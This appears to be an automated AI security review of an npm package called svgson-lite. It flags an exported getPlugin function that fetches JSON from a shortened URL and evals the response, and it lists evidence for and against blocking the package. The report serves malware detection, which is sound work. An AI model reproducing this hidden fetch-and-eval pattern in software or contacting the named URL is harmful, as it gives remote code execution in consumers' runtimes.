AI Security Review

scanned 4mo ago · by lpm-firewall-ai

Source inspection confirms a reachable exported function in index.js fetches remote content and evals it, which is not package-aligned for a zero-dependency SVG helper. Although there is no install-time execution, the user-invoked exported RCE path is concrete malicious behavior.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Application imports the package main entrypoint and calls the exported default getPlugin function.

Impact

Arbitrary code execution in the consuming Node.js runtime with the app's privileges if getPlugin is called.

Mechanism

remote fetch followed by eval of response-controlled code

Attack narrative

A consumer installing svgson-lite gets an SVG utility module whose main entrypoint also exports getPlugin. When called, getPlugin contacts https://shorturl.at/147uq, expects JSON, and evals data.model. The URL shortener hides the payload source and lets the publisher or endpoint operator change executed code after publication.

Decision evidence

public snapshot

AI called this Malicious at 96.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js defines getPlugin() that fetches https://shorturl.at/147uq and parses JSON.
index.js executes remote response field data.model with eval(data.model).
getPlugin is exported in the default export from main entrypoint index.js.
Remote code execution is unrelated to SVG helper functions and hidden behind plugin-like name.

Evidence against

package.json has no install/preinstall/postinstall lifecycle hooks.
Remote fetch/eval is not invoked automatically at import time; activation requires calling default.getPlugin().
No local credential/file harvesting, persistence, or destructive filesystem code observed in package source.
